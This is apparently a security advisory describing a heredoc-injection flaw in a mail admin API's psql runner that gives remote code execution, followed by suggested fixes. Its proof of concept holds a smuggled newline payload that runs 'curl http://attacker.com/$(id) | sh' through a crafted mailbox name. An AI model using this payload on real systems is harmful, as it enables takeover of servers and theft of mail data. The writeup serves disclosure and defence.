An AI security engineer for your lean team.

The transaction() function in psql-runner.ts constructs a bash heredoc command string to pipe SQL statements to psql over SSH. The heredoc uses the fixed delimiter __EXAMPLE_SQL_EOF__. The SQL body passed into the heredoc is built by joining caller-supplied SQL strings — including values derived from the user-controlled name field of a new mailbox. If an attacker embeds a newline followed by __EXAMPLE_SQL_EOF__ in the display name, the heredoc is terminated prematurely and any text after it is executed as an arbitrary shell command on the mail server, running as the postgres user (via sudo). This is a direct path to RCE, and it can be triggered by any low-privileged user of the same organisation who is able to create a mailbox — no admin role is required.

The vulnerable heredoc construction is at psql-runner.ts:169:

1// psql-runner.ts  (apps/api/src/modules/mail/admin) · lines 160–172
2export async function transaction(
3  serverIdOrExec: string | CommandExecutor,
4  statements: string[],
5): Promise<void> {
6  const body = ["BEGIN;", ...statements.map((s) => s.replace(/;?\s*$/, ";")), "COMMIT;"].join("\n");
7
8  // VULNERABLE: body is interpolated directly into the heredoc.
9  // If body contains "\n__EXAMPLE_SQL_EOF__\n", the heredoc closes early
10  // and anything after it is executed as a shell command.
11  const cmd = `sudo -u postgres psql -d vmail -A -t -v ON_ERROR_STOP=1 <<'__EXAMPLE_SQL_EOF__'\n${body}\n__EXAMPLE_SQL_EOF__`;
12
13  await runCmd(serverIdOrExec, cmd);
14}

The body variable is assembled from statements, which include SQL built from input.name in mailboxes.service.ts:174:

1// mailboxes.service.ts · lines 170–182
2await transaction(exec, [
3  buildInsertMailboxSql({
4    username,
5    passwordHash: hash,
6    name: input.name ?? "",   // <-- user-controlled display name
7    domain: input.domain.toLowerCase(),
8    quotaMB,
9    storagebasedirectory: layout.storagebasedirectory,
10    storagenode: layout.storagenode,
11    maildir: layout.maildir,
12  }),
13  buildInsertSelfForwardingSql(username, input.domain.toLowerCase()),
14]);

The q() function (psql-runner.ts:39–41) only escapes single quotes (' → ''). It does not escape newlines. So a name value such as x'\n__EXAMPLE_SQL_EOF__\ncurl http://attacker.com/$(id)|sh\n#, after q() wrapping, produces a SQL string literal that contains a literal newline and the heredoc terminator — breaking out of the heredoc and injecting a shell command.

Precondition. The attacker is a low-privileged user of the same organisation with permission to create a mailbox — no admin role or elevated API token is required.

1. Attacker identifies the mailbox-creation endpoint, e.g. POST /admin/mailboxes.
2. Attacker crafts a name field containing an embedded newline, the heredoc terminator, and a shell payload:

innocent name
__EXAMPLE_SQL_EOF__
curl http://attacker.com/$(id) | sh
#

Then the attacker sends the request:

1curl -X POST https://<target-host>/admin/mailboxes \
2  -H "Authorization: Bearer <org-user-token>" \
3  -H "Content-Type: application/json" \
4  -d '{
5    "localPart": "pwned",
6    "domain": "example.com",
7    "password": "Hunter2!",
8    "name": "innocent name\n__EXAMPLE_SQL_EOF__\ncurl http://attacker.com/$(id) | sh\n#"
9  }' 

4. The server calls transaction(), which interpolates the name (via the SQL built by buildInsertMailboxSql) into the heredoc body.
5. The shell sees __EXAMPLE_SQL_EOF__ on its own line, closes the heredoc, and executes curl http://attacker.com/$(id) | sh as the postgres user (via sudo -u postgres).
6. The attacker receives a callback with the output of id and can execute arbitrary commands on the mail server.

Any low-privileged member of the same organisation can execute arbitrary shell commands on the mail server as thepostgres user (via sudo). This gives full control of the mail database and, depending on the sudo configuration, potentially full root access to the mail VPS. All mailbox data, credentials, and mail content are at risk of exfiltration or destruction.

Do not interpolate untrusted data into a heredoc body. Pass SQL to psql via a temp file written with a random name, use psql’s -c flag for single statements, or pipe via stdin without a heredoc. If the heredoc approach must be kept, validate that no statement contains the delimiter before constructing the command, and use a randomly generated delimiter that cannot be predicted or injected.

1// Before (psql-runner.ts:169)
2const cmd = `sudo -u postgres psql -d vmail -A -t -v ON_ERROR_STOP=1 <<'__EXAMPLE_SQL_EOF__'\n${body}\n__EXAMPLE_SQL_EOF__`;
3
4// After: write SQL to a temp file with a random name, then execute
5import { randomBytes } from "crypto";
6const tmpFile = `/tmp/example_sql_${randomBytes(16).toString("hex")}.sql`;
7// Upload body to tmpFile via SFTP/exec, then:
8const cmd = `sudo -u postgres psql -d vmail -A -t -v ON_ERROR_STOP=1 -f ${tmpFile}; rm -f ${tmpFile}`;

Alternatively, assert no statement contains the delimiter before use:

1// Defensive guard (belt-and-suspenders, not a replacement for the above)
2const DELIM = "__EXAMPLE_SQL_EOF__";
3if (statements.some(s => s.includes(DELIM))) {
4  throw new Error("SQL statement contains forbidden delimiter sequence");
5}